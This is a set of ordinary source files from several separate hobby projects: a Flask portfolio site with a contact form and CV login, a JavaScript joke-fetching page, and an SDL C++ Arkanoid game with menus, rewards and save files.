smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp: smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD) smtp.send_message(msg) # smtp.sendmail(msg) flash(f'Thank you for contacting me, I will get back to you shortly', 'success') return render_template('contact.html', title='<NAME> - Contact Me') # Route for handling the login page logic @app.route('/login', methods=['GET', 'POST']) def login(): error = None if request.method == 'POST': if request.form['username'] != portfolio_username or request.form['password'] != <PASSWORD>: flash(f'Invalid Credentials. Please try again.', 'danger') else: session['username'] = request.form['username'] flash(f'You are successfully logged in', 'success') return redirect(url_for('cv')) return render_template('login.html', title='Jacqueline Walsh - Login for CV') # logout @app.route('/logout') def logout(): if 'username' in session: session.clear() flash(f'You are now logged out', 'success') return redirect(url_for('login')) # 404 page @app.errorhandler(404) def page_not_found(e): return render_template('404.html', title='Portfolio - 404'), 404 if __name__ == '__main__': app.run(host=os.environ.get('IP'), port=os.environ.get('PORT'), debug=False) # Development only # app.run(host=os.environ.get('IP'), # port=os.environ.get('PORT'), # debug=True) <file_sep>{% extends 'layout.html' %} <!-- main content block --> {% block content %} <h2>Please login to view my curriculum vitae</h2> <br/> <p>If you do not have login credentials, please feel free to <a href="mailto:<EMAIL>">email me</a> and I will be happy to provide these to you. Alternately, I can forward my CV directly to you and answer any questions that you may have</p> <br> <form method="POST" action="{{ url_for('login')}}"> <fieldset class="form-group"> <h1 class="text-center border-bottom mb-4">Log In</h1> <br> <!-- username input field with validation checks --> <div class="form-group"> <label for="username">Username</label> <input id="username" name="username" type="text" value="{{request.form.username}}" class="validate form-control"> </div> <!-- password input field with validation checks --> <div class="form-group"> <label for="password">Password</label> <input id="password" name="password" type="password" value="{{request.form.password}}"class="validate form-control"> </div> </fieldset> <!-- submit button --> <div class="form-group"> <div class="row"> <button class="btn btn-dark" type="submit" name="action">submit</button> </div> </div> </form> {% endblock content %}
fb4091c9658d087a9e9e175feb65f2090d6a2053
[ "Python", "HTML" ]
2
Python
jacqueline-walsh/jacqueline-walsh
f62a5eb48df501802257bcbf5d7cf07854e0ec02
3b0be9ae0a79d0fe310876e6ad9e4da4e571ecac
refs/heads/master
<repo_name>Niass/ajax-fetch-axios<file_sep>/script.js const jokeDOM = document.querySelector("#chuck-norris p"); const btnFetch = document.querySelector(".btn-gradient"); const btnAxios = document.querySelector(".btn-gradient.orange"); const avatar = document.querySelector(".avatar img"); console.log(avatar.src); btnFetch.addEventListener("click", () => { fetchJoke(); }); btnAxios.addEventListener("click", () => { axiosCAll(); }); function fetchJoke() { fetch("https://api.chucknorris.io/jokes/random") .then(data => data.json()) .then(joke => { avatar.src = joke.icon_url; jokeDOM.textContent = joke.value; }) .catch(err => console.log("something when wrong")); } fetchJoke(); // Axios function axiosCAll() { axios .get("https://api.chucknorris.io/jokes/random") .then(response => response) .then(response => { jokeDOM.textContent = response.data.value; avatar.src = response.data.icon_url; }) .catch(error => console.log(error)) .finally(function() { // always executed }); }
b25b81a61250c3d06ce37f3633445ad97fd2917b
[ "JavaScript" ]
1
JavaScript
Niass/ajax-fetch-axios
fbeb54d0e10e1adde6d8b66170185e1117d5ad31
e27eb35db443217d0aa08e8e07512a6a8d40b085
refs/heads/master
<repo_name>souvikiisc/DS222<file_sep>/reducer_test_1.py #!/usr/bin/env python3 #from itertools import groupby #from operator import itemgetter import sys import math totalw_class_count = dict() prior_count = dict() p_word_count = dict() vocab = set() classes = set() def load_values(): f = open('ref1','r') for line in f.readlines(): try: cl, word, count = line.split('\t') except ValueError: continue try: count = int(count) except ValueError: continue p_word_count[(cl, word)] = count vocab.add(word) f.close() f = open('ref2', 'r') for line in f.readlines(): try: cl, count = line.split('\t') except ValueError: continue try: count = int(count) except ValueError: continue prior_count[cl] = count classes.add(cl) f.close() f = open('ref3', 'r') for line in f.readlines(): try: cl, count = line.split('\t') except ValueError: continue try: count = int(count) except ValueError: continue totalw_class_count[cl] = count f.close() def main(separator='\t'): load_values() total_docs = 0 for v in prior_count.values(): total_docs += v class_prob = dict() current_class = None current_word = None word = None word_count = 0 class_count = 0 class_word_count = dict() current_doc_n = -1 acc = 0 doc_count = 0 # current_doc = None # current_doc_count = 0 results = dict() vocab_visited = set() for line in sys.stdin: # print(line) #line = line.strip() try: key, count = line.split('\t', 1) except ValueError: continue try: doc_n, c, word = key.split() except ValueError: continue try: doc_n = int(doc_n) except ValueError: continue try: count = int(count) except ValueError: continue vocab_visited.add(word) if not results.__contains__((doc_n, c)): temp = dict() for cl in classes: temp[cl] = math.log(float(prior_count[cl]) / total_docs) + float(math.log(float(p_word_count.get((cl, word), 0.0) + 1) / (totalw_class_count.get(cl, 0) + len(vocab)))) results[(doc_n,c)] = temp else: temp = results.get((doc_n, c)) for cl in classes: temp[cl] += float(math.log(float(p_word_count.get((cl, word), 0.0) + 1) / (totalw_class_count.get(cl, 0) + len(vocab)))) results[(doc_n, c)] = temp # vocab_not_visited = set() # for w in vocab: # if w not in vocab_visited: # vocab_not_visited.add(w) # # print(len(vocab_not_visited)) # print(len(vocab)) # for w in vocab_not_visited: # # for key in results.keys(): # # temp = results.get(key) # # for cl in classes: # temp[cl] += float(math.log(float(p_word_count.get((cl, w), 0.0) + 1) / (totalw_class_count.get(cl, 0) + len(vocab)))) # # results[key] = temp prev_key = None prev_count = -1 keys = list(results.keys()) sorted_keys = sorted(keys, key = lambda x : x[0]) for key in sorted_keys: if(prev_key != key[0]): prev_key = key[0] doc_count += 1 prev_count = 0 t = results[key] pred_key = max(t.keys(), key = lambda k : t[k]) if pred_key == key[1] and prev_count == 0: acc += 1 prev_count = 1 print('%s\t%f'%('accuracy', (float(acc)/doc_count))) #print ('%s\t%d' % ('class_count', class_count)) if __name__ == "__main__": main() <file_sep>/README.md # DS222-Assignment_1 run script.sh <file_sep>/mapper.py #!/usr/bin/env python3 """mapper.py""" import sys #import nltk import re # from nltk.stem import PorterStemmer # from nltk.corpus import stopwords # from __future__import print_function as #import pickle # f = open('stopwords.pkl', 'rb') stop_words = {"some", "don", "she", "wasn't", "didn't", "once", "it", "between", "which", "s", "these", "such", "me", "few", "from", "will", "same", "whom", "needn", "very", "through", "are", "she's", "we", "down", "off", "against", "here", "o", "above", "when", "him", "he", "if", "am", "who", "haven't", "do", "has", "should", "you", "mustn't", "a", "again", "had", "up", "ve", "weren", "yours", "their", "only", "her", "them", "aren", "not", "shouldn", "ourselves", "your", "too", "hasn", "most", "until", "d", "did", "all", "ma", "won't", "no", "after", "wouldn", "didn", "of", "with", "t", "you'd", "couldn", "so", "doesn", "wouldn't", "ours", "there", "don't", "hadn", "needn't", "aren't", "its", "now", "mightn", "yourselves", "you'll", "doing", "can", "but", "you've", "in", "other", "wasn", "and", "further", "won", "own", "they", "an", "how", "this", "because", "than", "hadn't", "before", "were", "just", "as", "having", "isn", "himself", "during", "what", "couldn't", "ain", "into", "shouldn't", "weren't", "does", "was", "is", "that'll", "about", "nor", "themselves", "while", "y", "mustn", "you're", "myself", "where", "at", "yourself", "doesn't", "itself", "i", "re", "each", "why", "those", "theirs", "to", "both", "that", "his", "below", "ll", "mightn't", "should've", "haven", "it's", "any", "out", "being", "shan", "then", "isn't", "herself", "hasn't", "under", "have", "on", "hers", "m", "over", "our", "shan't", "for", "more", "be", "or", "the", "my", "by", "been", } #stem = PorterStemmer() #def preprocess(word): def main(): counter = 0 for line in sys.stdin: line = line.lower() #if(counter < 3): # counter += 1 # continue try: classes, sentence = line.split(' \t') except ValueError: continue try: classes = classes.split(',') except ValueError: continue doc_count = dict() for c in classes: words = sentence.split(' ') for word in words[2:]: temp = re.split(r'[`\-=~!@#$%^&*()_+\[\]{};\'\\:"|<,./<>?]', word) for w in temp: # print(w) if not w =='' and not w.isdigit() and w not in stop_words: #w = stem.stem(w) print ('%s %s\t%d' % (c, w, 1)) print('%s %s\t%d' % ('doc_count_unique', c, 1)) if __name__ == "__main__": main() <file_sep>/reducer_1.py #!/usr/bin/env python3 #from itertools import groupby #from operator import itemgetter import sys def main(separator='\t'): current_class = None current_word = None word = None word_count = 0 class_count = 0 class_word_count = 0 bow = set() current_doc = None current_doc_count = 0 prev_doc = None for line in sys.stdin: #print(line) #line = line.strip() try: key, count = line.split('\t', 1) except ValueError: continue try: c, word = key.split() except ValueError: continue try: count = int(count) except ValueError: continue if c == 'doc_count_unique': prev_doc = c if current_doc == word: current_doc_count += 1 else: if current_doc: print('%s\t%s\t%d' % ('doc_count', current_doc, current_doc_count)) current_doc_count = 1 current_doc = word continue if(prev_doc == 'doc_count_unique'): print('%s\t%s\t%d' % ('doc_count', current_doc, current_doc_count)) prev_doc = None if current_class != c: if current_class: print('%s\t%s\t%d' % ('class_total_word_count', current_class, class_word_count)) #print('%s\t%s\t%d' % ('class_count', current_class, class_count)) current_class = c class_count += 1 class_word_count = 0 if current_word == word: word_count += count else: if current_word: class_word_count += word_count print ('%s\t%s\t%s\t%d' % ('class_word_count', current_class, current_word, word_count)) current_word = word word_count = count if current_word == word: print ('%s\t%s\t%s\t%d' % ('class_word_count',current_class, current_word, word_count)) if current_doc == word: print('%s\t%s\t%d' % ('doc_count', current_doc, current_doc_count)) if current_class == c: print ('%s\t%s\t%d' % ('class_total_word_count', c, class_word_count)) #print ('%s\t%d' % ('class_count', class_count)) if __name__ == "__main__": main()
c63a50bdd0dbb80997acd578841a4801652a19a2
[ "Markdown", "Python" ]
4
Python
souvikiisc/DS222
6e74f93d59b0c9eebc14986a85c8dff18cf461de
ad43786f9ecadd15c2a7fcc639c4365af5a31739
refs/heads/master
<file_sep>#ifndef ARKANOIDERROR_H #define ARKANOIDERROR_H using namespace std; #include <string> #include <stdexcept> #include <sstream> #include <stdlib.h> class ArkanoidError : public logic_error { public: ArkanoidError (const string& what_arg) : logic_error(what_arg) {} // gives info about the type of error virtual const char* what () const noexcept { return logic_error::what (); } }; #endif // !ARKANOIDERROR_H<file_sep>#pragma once #include <string> #include "Texture.h" #include "Vector2D.h" #include "Utilities.h" enum TextureTypes {numbers, level, lives}; const string TEXTURE_NAME_NUMBERS = "images\\numbers.png"; const string TEXTURE_NAME_LEVEL = "images\\level.png"; const string TEXTURE_NAME_LIVES = "images\\lives.png"; const uint N_DIVISIONS = 20; class Game; class PlayState; class InfoBar { // --------------------- variables------------------------------------------------------ private: Vector2D position; uint cellHeight = STANDARD_CELL_HEIGHT; uint mapWidth; Texture* textures[3]; Game* game; PlayState *playState; // ---------------------- methods ------------------------------------------------------ public: InfoBar (Game *gamePtr, PlayState *playStatePtr); ~InfoBar (); // creates and loads the needed textures void loadTextures (); // renders the time and level void render (uint seconds, uint minutes, uint level, uint lives); }; <file_sep>#include "Paddle.h" #include "Game.h" #include "PlayState.h" Paddle::Paddle (Game* gamePtr, PlayState *playStatePtr) { game = gamePtr; playState = playStatePtr; texture = game->getTexture (TextureNames::paddle_); speed.setY (0.0); } Paddle::~Paddle () { game = nullptr; playState = nullptr; texture = nullptr; } void Paddle::render() { ArkanoidObject::render (); } void Paddle::changeSize (double scale) { uint newWidth = width * scale; if (newWidth < MAX_PADDLE_WIDTH && newWidth > MIN_PADDLE_WIDTH) width = newWidth; } void Paddle::setInitialPosition (int mapWidth, int verticalOffset) { position.setX (double (mapWidth) / 2); position.setY (double (verticalOffset)); } bool Paddle::handleEvents (SDL_Event &e) { bool handled = true; if (e.type == SDL_KEYDOWN) { switch (e.key.keysym.sym) { case SDLK_LEFT: speed.setX (-basicIncrement); break; case SDLK_RIGHT: speed.setX (basicIncrement); break; default: handled = false; break; } } else if (e.type == SDL_KEYUP) { speed.setX (0.0); } return handled; } bool Paddle::collides (SDL_Rect objectRect, Vector2D &collVector) { bool objectCollides = false; bool boundariesOK; int xCenterObject = objectRect.x + (objectRect.w / 2); int yBottomObject = objectRect.y + objectRect.h; // checks that the object's collision points are within the paddle's boundaries boundariesOK = yBottomObject > position.getY () && yBottomObject < (position.getY () + height); boundariesOK &= xCenterObject > position.getX () && xCenterObject < (position.getX () + width); if (boundariesOK) { int mid = position.getX () + (width / 2); double n = cos (MAX_ANGLE * RADIAN_CONVERSION_FACTOR); collVector.setX ((n * double(xCenterObject - mid)) / (position.getX () - double(mid))); collVector.setY (sqrt (1.0 - pow (collVector.getX (), 2))); objectCollides = true; } // if not, objectCollides is initialized to false so no need to do anything return objectCollides; } void Paddle::update () { mapWidth = playState->getMapWidth (); if (position.getX () > 20 && speed.getX() < 0) { MovingObject::update(); } if (position.getX () < (mapWidth - width - 20) && speed.getX () > 0) MovingObject::update (); } void Paddle::saveToFile (ofstream &file) { MovingObject::saveToFile (file); file << width; } void Paddle::loadFromFile (ifstream &file) { MovingObject::loadFromFile (file); file >> width; } <file_sep>#include "BlocksMap.h" #include "Game.h" #include "PlayState.h" BlocksMap::BlocksMap (Game* gamePtr, PlayState *playStatePtr) { game = gamePtr; playState = playStatePtr; } BlocksMap::~BlocksMap () { if (cells != nullptr) { for (int r = 0; r < rows; ++r) { for (int c = 0; c < cols; ++c) { delete cells[r][c]; } } } } void BlocksMap::load (const string & filename) { ifstream file; file.open (LEVELS_PATH + filename); if (!file.is_open ()) { throw (FileNotFoundError (filename)); } else { BlocksMap::loadFromFile (file); playState->scaleObjects (mapWidth, mapHeight); file.close (); } } /* Dados el rectángulo y vector de dirección de la pelota, devuelve un puntero al bloque con el que ésta colisiona (nullptr si no colisiona con nadie) y el vector normal perpendicular a la superficie de colisión. */ Block* BlocksMap::collides(const SDL_Rect& ballRect, const Vector2D& ballVel, Vector2D& collVector){ Vector2D topLeftPoint = { double (ballRect.x), double (ballRect.y) }; Vector2D topRightPoint = { double (ballRect.x + ballRect.w), double (ballRect.y) }; Vector2D bottomLeftPoint = { double (ballRect.x), double (ballRect.y + ballRect.h) }; Vector2D bottomRightPoint = { double (ballRect.x + ballRect.w), double (ballRect.y + ballRect.h) }; // bottom-right Block* block = nullptr; if (ballVel.getX() < 0 && ballVel.getY() < 0){ if ((block = blockAt(topLeftPoint))){ if ((block->getY() + cellHeight - topLeftPoint.getY()) <= (block->getX() + cellWidth - topLeftPoint.getX())) collVector = {0,1}; // Borde inferior mas cerca de topLeftPoint else collVector = {1,0}; // Borde dcho mas cerca de topLeftPoint } else if ((block = blockAt(topRightPoint))) { collVector = {0,1}; } else if ((block = blockAt(bottomLeftPoint))) collVector = {1,0}; } else if (ballVel.getX() >= 0 && ballVel.getY() < 0){ if ((block = blockAt(topRightPoint))){ if (((block->getY() + cellHeight - topRightPoint.getY()) <= (topRightPoint.getX() - block->getX())) || ballVel.getX() == 0) collVector = {0,1}; // Borde inferior mas cerca de topRightPoint else collVector = {-1,0}; // Borde izqdo mas cerca de topRightPoint } else if ((block = blockAt(topLeftPoint))) { collVector = {0,1}; } else if ((block = blockAt(bottomRightPoint))) collVector = {-1,0}; } else if (ballVel.getX() > 0 && ballVel.getY() > 0){ if ((block = blockAt(bottomRightPoint))){ if (((bottomRightPoint.getY() - block->getY()) <= (bottomRightPoint.getX() - block->getX()))) // || ballVel.getX() == 0) collVector = {0,-1}; // Borde superior mas cerca de bottomRightPoint else collVector = {-1,0}; // Borde dcho mas cerca de bottomRightPoint } else if ((block = blockAt(bottomLeftPoint))) { collVector = {0,-1}; } else if ((block = blockAt(topRightPoint))) collVector = {-1,0}; } else if (ballVel.getX() < 0 && ballVel.getY() > 0){ if ((block = blockAt(bottomLeftPoint))){ if (((bottomLeftPoint.getY() - block->getY()) <= (block->getX() + cellWidth - bottomLeftPoint.getX()))) // || ballVel.getX() == 0) collVector = {0,-1}; // Borde superior mas cerca de bottomLeftPoint else collVector = {1,0}; // Borde dcho mas cerca de topLeftPoint } else if ((block = blockAt(bottomRightPoint))) { collVector = {0,-1}; } else if ((block = blockAt(topLeftPoint))) collVector = {1,0}; } return block; } void BlocksMap::getBlockMatrixCoordinates (const Vector2D &point, int &c, int &r) { int wallThickness = WALL_THICKNESS; c = int ((point.getX () - wallThickness) / cellWidth); r = int ((point.getY () - wallThickness) / cellHeight); } /* Devuelve el puntero al bloque del mapa de bloques al que pertenece el punto p. En caso de no haber bloque en ese punto (incluido el caso de que p esté fuera del espacio del mapa) devuelve nullptr. */ Block* BlocksMap::blockAt(const Vector2D& p){ Block* blockPtr; int wallThickness = WALL_THICKNESS; if (p.getX() - wallThickness <= 0 || p.getX() >= mapWidth - wallThickness || p.getY() >= (rows * cellHeight + wallThickness)) { // out of the map on the left side OR out of the map on the right side OR too low to collide blockPtr = nullptr; } else { int c, r; getBlockMatrixCoordinates (p, c, r); if (cells[r][c] != nullptr) blockPtr = cells[r][c]; else blockPtr = nullptr; } return blockPtr; } void BlocksMap::setBlockNull (Block* blockPtr) { Vector2D blockPos (blockPtr->getX (), blockPtr->getY ()); int c, r; getBlockMatrixCoordinates (blockPos, c, r); delete cells[r][c]; cells[r][c] = nullptr; nBlocks--; } void BlocksMap::render (){ for (int r = 0; r < rows; ++r) { for (int c = 0; c < cols; ++c) { if (cells[r][c] != nullptr) cells[r][c]->render (); } } } void BlocksMap::update () { if (nBlocks <= 0) { playState->setLevelClear (); } } // Saves the actual state of the map with the same format of the level.ark files void BlocksMap::saveToFile(ofstream &file) { file << rows << " " << cols << "\n"; for (int r = 0; r < rows; ++r) { for (int c = 0; c < cols; ++c) { if (cells[r][c] != nullptr) cells[r][c]->saveToFile (file); else file << 0 << " "; } file << "\n"; } } void BlocksMap::loadFromFile (ifstream &file) { int color = 0; file >> rows >> cols; if (rows < 1 || cols < 1) { throw FileFormatError (WRONG_MAP_SIZE); } mapWidth = cellWidth * cols + cellHeight * 2; // to account for the walls we add cellHeight * 2 (the thickness of the walls is the same as the height of the rest of sprites) mapHeight = 2 * (cellHeight * rows) + cellHeight * 2; playState->setMapSize (mapWidth, mapHeight); // pointer initialization cells = new Block**[rows]; for (uint r = 0; r < rows; ++r) { cells[r] = new Block*[cols]; } // fill values in for (uint r = 0; r < rows; ++r) { for (uint c = 0; c < cols; ++c) { file >> color; if (color < 0 || color > 6) { throw FileFormatError (WRONG_COLOR); } if (color == 0) { cells[r][c] = nullptr; } else { cells[r][c] = new Block (game, playState, BlockColor(color)); cells[r][c]->setPosition (c, r); ++nBlocks; } } } }<file_sep>#include "Game.h" Game::Game() { iniSDL (); iniTextures (); stateMachine = new GameStateMachine (); stateMachine->pushState (new MainMenu (this)); } Game::~Game() { delete stateMachine; // the individual states are deleted within GameStateMachine (in its destructor) for (uint i = 0; i < NUM_TEXTURES; ++i) { delete textures[i]; } quitSDL (); } void Game::iniSDL () { SDL_Init(SDL_INIT_EVERYTHING); window = SDL_CreateWindow("test", WIN_X, WIN_Y, WIN_WIDTH, WIN_HEIGHT, SDL_WINDOW_SHOWN | SDL_WINDOW_RESIZABLE); renderer = SDL_CreateRenderer(window, -1, SDL_RENDERER_ACCELERATED); if (window == nullptr || renderer == nullptr) { throw SDLError(SDL_GetError()); } } void Game::iniTextures () { string errorMsg; for (uint i = 0; i < NUM_TEXTURES; ++i) { textures[i] = new Texture(renderer, IMAGES_PATH + TEXTURE_ATTRIBUTES[i].filename, TEXTURE_ATTRIBUTES[i].rows, TEXTURE_ATTRIBUTES[i].cols); } errorMsg = SDL_GetError(); if (errorMsg != "") throw SDLError(errorMsg); } void Game::renderInstructions () { SDL_Rect destRect { 0, 0, WIN_WIDTH, WIN_HEIGHT }; SDL_RenderClear (renderer); textures[TextureNames::instructions]->render (destRect); SDL_RenderPresent (renderer); } void Game::renderNumberButtons () { uint numbersCellSize = WIN_HEIGHT / 10; SDL_Rect destRect { 0, WIN_HEIGHT - numbersCellSize, WIN_WIDTH, numbersCellSize }; textures[TextureNames::menuNumbers]->render(destRect); SDL_RenderPresent (renderer); } bool Game::handleNumberButtons (SDL_Event SDLevent, int &number) { int mouseX, mouseY; int numberCellSize = WIN_WIDTH / 10; int numbersY = WIN_HEIGHT - numberCellSize; int index = 0; bool click = false; SDL_GetMouseState (&mouseX, &mouseY); if ((mouseX > 0 && mouseX < numberCellSize) && (mouseY > 0 && mouseY < numberCellSize)) { // click on the finish button click = true; number = -1; } else { while (!click && index < 10) { if ((mouseX > (index * numberCellSize) && mouseX < ((index + 1) * numberCellSize)) && (mouseY > numbersY && mouseY < WIN_HEIGHT)) { // click on each of the numbers click = true; number = index; } index++; } //while } // else return click; } void Game::loadFromFile(string code) { ifstream file; int level, secs, mins; file.open(LEVELS_PATH + code + SAVE_EXTENSION); if (file.is_open()) { file >> level >> secs >> mins; if (level > MAX_LEVEL) { throw FileFormatError ("Level bigger than the maximum level\n"); } stateMachine->pushState (new PlayState (this, level, secs, mins)); static_cast<PlayState*>(stateMachine->currentState ())->loadFromFile (file); file.close(); } else throw FileNotFoundError(code + SAVE_EXTENSION); } void Game::saveToFile() { ofstream file; try { SDL_RenderClear (renderer); // to give the player some feedback that the button was actually pushed SDL_RenderPresent (renderer); string code = pickFileName (); file.open (LEVELS_PATH + code + SAVE_EXTENSION); if (file.is_open()) { backToGame (); static_cast<PlayState*>(stateMachine->currentState ())->saveToFile (file); file.close (); } else throw (FileNotFoundError (code + SAVE_EXTENSION)); } catch (ArkanoidError err) { cout << err.what (); } } string Game::pickFileName () { SDL_Event sdlEvent; bool done = false; stringstream name; cout << "file code: "; while (!done) { try { if (SDL_PollEvent (&sdlEvent)) { if (sdlEvent.type == SDL_QUIT) { exit = true; throw (ArkanoidError ("Aborted save\n")); } if (sdlEvent.type == SDL_KEYDOWN) { switch (sdlEvent.key.keysym.sym) { case SDLK_0: name << "0"; cout << "0"; break; case SDLK_1: name << "1"; cout << "1"; break; case SDLK_2: name << "2"; cout << "2"; break; case SDLK_3: name << "3"; cout << "3"; break; case SDLK_4: name << "4"; cout << "4"; break; case SDLK_5: name << "5"; cout << "5"; break; case SDLK_6: name << "6"; cout << "6"; break; case SDLK_7: name << "7"; cout << "7"; break; case SDLK_8: name << "8"; cout << "8"; break; case SDLK_9: name << "9"; cout << "9"; break; case SDLK_RETURN: done = true; cout << "\n" << "saved\n"; break; default: throw (FileFormatError (WRONG_TYPE)); break; }// switch } } } catch (FileFormatError err) { cout << err.what (); cout << "Only numbers from 0 to 9 valid\n"; } }// while !done return name.str (); } void Game::startGame () { stateMachine->pushState (new PlayState (this)); } void Game::pauseMenu () { setWindowSize (WIN_WIDTH, WIN_HEIGHT); stateMachine->pushState (new PauseMenu (this)); } void Game::endMenu (bool wonGame) { setWindowSize (WIN_WIDTH, WIN_HEIGHT); stateMachine->pushState (new EndMenu (this, wonGame)); } void Game::backToGame () { int h = WIN_HEIGHT; int w = WIN_WIDTH; getStateMachine ()->popState (); if (dynamic_cast<PlayState*>(stateMachine->currentState()) != nullptr) { h = dynamic_cast<PlayState*>(stateMachine->currentState ())->getMapHeight (); w = dynamic_cast<PlayState*>(stateMachine->currentState ())->getMapWidth (); } setWindowSize (w, h); } void Game::backToMainMenu () { backToGame (); getStateMachine ()->popState (); setWindowSize (WIN_WIDTH, WIN_HEIGHT); } void Game::handleEvents () { SDL_Event ev; if (SDL_PollEvent (&ev)) { if (ev.type == SDL_QUIT) { exit = true; } else { stateMachine->currentState ()->handleEvents (ev); } } } void Game::run () { while (!exit) { update (); handleEvents (); SDL_Delay (DELAY); } } void Game::render () { SDL_RenderClear (renderer); stateMachine->currentState ()->render (); SDL_RenderPresent (renderer); } void Game::update () { stateMachine->currentState ()->update (); render (); } void Game::quitSDL () { SDL_DestroyRenderer (renderer); SDL_DestroyWindow (window); SDL_Quit (); } <file_sep>#ifndef REWARD_H #define REWARD_H #include <list> #include "MovingObject.h" // ----------- Function object hierarchy to manage the effects of each reward ------------------------ // Base class Action class Action { public: Action () {} virtual void operator()(PlayState *playStatePtr) {} // this is a placeholder for the specific action each reward has }; // Change to the next level class LevelUp: public Action { public: LevelUp() {} virtual void operator()(PlayState *playStatePtr); }; // Get one extra life class RewardLife : public Action { public: RewardLife () {} virtual void operator()(PlayState *playStatePtr); }; // Make the paddle longer class EnlargePaddle : public Action { public: EnlargePaddle() {} virtual void operator()(PlayState *playStatePtr); }; // Make the paddle shorter class ShrinkPaddle : public Action { public: ShrinkPaddle() {} virtual void operator()(PlayState *playStatePtr); }; enum RewardType {L, R, E, S}; // ---------------------------------- R E W A R D S ----------------------------------------------- class Reward : public MovingObject { // --------------------- variables------------------------------------------------------ private: Action *action = nullptr; Game *game = nullptr; list<SDLGameObject*>::iterator itList; double verticalSpeed = 4; int spriteSheetCol = 0; int spriteSheetRow = 0; RewardType type; // ---------------------- methods ------------------------------------------------------ private: void setActionType (RewardType rewardType); void setSprites (RewardType rewardType); public: Reward (Game *gamePtr, PlayState *playStatePtr, RewardType rewardType); // this one is used when loading from a file Reward (Game *gamePtr, PlayState *playStatePtr); ~Reward (); // used to set the iterator to the position of the list the reward is in void setItList (list<SDLGameObject*>::iterator it) { itList = it; } void setPosition (const SDL_Rect &rect) { position.setX (rect.x); position.setY (rect.y); } virtual void update (); virtual void render (); virtual bool handleEvents (SDL_Event &e) { return SDLGameObject::handleEvents (e); } virtual void loadFromFile (ifstream &file); virtual void saveToFile (ofstream &file); }; #endif <file_sep>#include "MainMenu.h" #include "Game.h" MainMenu::MainMenu (Game *gamePtr) { // TODO: change the row number for an enum type so its easier to understand game = gamePtr; stage.push_back (new Button (game, buttonPositions[ButtonTypes::Play], play, game->getTexture(TextureNames::buttons), 0)); stage.push_back (new Button (game, buttonPositions[ButtonTypes::Load], load, game->getTexture(TextureNames::buttons), 1)); stage.push_back (new Button (game, buttonPositions[ButtonTypes::Exit], endGame, game->getTexture(TextureNames::buttons), 2)); } MainMenu::~MainMenu () { // pointer deletion is made in the base class } void MainMenu::play (Game * gamePtr) { gamePtr->startGame (); } void MainMenu::load (Game * gamePtr) { SDL_Event SDLevent; stringstream numberSequence; string fileName; int number = -2; uint iterations = 0; bool click = false; bool end = false; SDL_Rect destRect { 0, WIN_HEIGHT / 2, STANDARD_CELL_HEIGHT, STANDARD_CELL_HEIGHT }; gamePtr->renderInstructions (); gamePtr->renderNumberButtons (); do { // get the numbers and store them in a stream + render them if (SDL_PollEvent (&SDLevent)) { if (SDLevent.type == SDL_QUIT) { end = false; gamePtr->setExit (true); } if (SDLevent.type == SDL_MOUSEBUTTONUP) { click = gamePtr->handleNumberButtons (SDLevent, number); } } if (click) { if (number != -1) { numberSequence << number; // render the chosen number in screen destRect.x = iterations * STANDARD_CELL_HEIGHT; gamePtr->getTexture(TextureNames::menuNumbers)->renderFrame (destRect, 0, number); SDL_RenderPresent (gamePtr->getRenderer()); iterations++; } click = false; } } while (number != -1 && !end); fileName = LEVELS_PATH + numberSequence.str () + LEVEL_EXTENSION; try { gamePtr->loadFromFile (numberSequence.str ()); } catch (FileFormatError err) { cout << err.what (); } catch (ArkanoidError err) { cout << err.what (); } } <file_sep>#include "Reward.h" #include "Game.h" #include "PlayState.h" // ----------- Function object hierarchy to manage the effects of each reward ------------------------ void LevelUp::operator()(PlayState *playStatePtr) { playStatePtr->setLevelClear (); } void RewardLife::operator()(PlayState *playStatePtr) { playStatePtr->increaseLives (); } void EnlargePaddle::operator()(PlayState *playStatePtr) { playStatePtr->setPaddleSize (MAKE_PADDLE_BIGGER); } void ShrinkPaddle::operator()(PlayState *playStatePtr) { playStatePtr->setPaddleSize (MAKE_PADDLE_SMALLER); } void rewardAction (PlayState *playStatePtr, Action *action) { return (*action)(playStatePtr); } // ---------------------------------- R E W A R D S ----------------------------------------------- Reward::Reward (Game *gamePtr, PlayState *playStatePtr, RewardType rewardType) { game = gamePtr; playState = playStatePtr; speed.setY (verticalSpeed); width = STANDARD_CELL_HEIGHT * 1.5; height = STANDARD_CELL_HEIGHT / 2; texture = game->getTexture (TextureNames::rewards); setActionType (rewardType); setSprites (rewardType); type = rewardType; } Reward::Reward (Game *gamePtr, PlayState *playStatePtr) { game = gamePtr; playState = playStatePtr; speed.setY (verticalSpeed); width = STANDARD_CELL_HEIGHT * 1.5; height = STANDARD_CELL_HEIGHT / 2; texture = game->getTexture (TextureNames::rewards); } Reward::~Reward () { delete action; } void Reward::setActionType (RewardType rewardType) { switch (rewardType) { case L: action = new LevelUp (); break; case R: action = new RewardLife (); break; case E: action = new EnlargePaddle (); break; case S: action = new ShrinkPaddle (); break; default: break; } } void Reward::setSprites (RewardType rewardType) { switch (rewardType) { case L: spriteSheetRow = 0; break; case R: spriteSheetRow = 4; break; case E: spriteSheetRow = 1; break; case S: spriteSheetRow = 3; break; default: break; } } void Reward::update () { int paddleY = playState->getMapHeight () - STANDARD_CELL_HEIGHT * 3; // one cell used by the info bar, other one as a spacer, and the paddle cell height spriteSheetCol++; if (spriteSheetCol >= texture->getNumCols ()) { spriteSheetCol = 0; } MovingObject::update (); if (position.getY () > paddleY) { if (playState->rewardCollides (getRect())) { rewardAction (playState, action); playState->killObject (itList); } else if (position.getY () > paddleY + STANDARD_CELL_HEIGHT) { playState->killObject (itList); } } } void Reward::render () { texture->renderFrame (getRect (), spriteSheetRow, spriteSheetCol); } void Reward::loadFromFile (ifstream & file) { int aux; MovingObject::loadFromFile (file); file >> aux; type = RewardType (aux); setActionType (type); setSprites (type); } void Reward::saveToFile (ofstream & file) { MovingObject::saveToFile (file); file << int(type); } <file_sep>#pragma once #include <stack> using namespace std; class GameState; class GameStateMachine { private: stack <GameState*> gameStateStack; public: GameStateMachine(); ~GameStateMachine(); GameState* currentState(); void pushState(GameState* state); void popState(); void changeState(GameState* state); }; <file_sep>#include "MovingObject.h" MovingObject::MovingObject() { } MovingObject::~MovingObject() { } void MovingObject::update() { position = position + speed; } void MovingObject::saveToFile(ofstream &file) { // save position ArkanoidObject::saveToFile(file); // save speed file << speed.getX() << " " << speed.getY() << " "; } void MovingObject::loadFromFile(ifstream &file) { double speedX, speedY; // load position ArkanoidObject::loadFromFile(file); // load speed file >> speedX >> speedY; speed.setX(speedX); speed.setY(speedY); 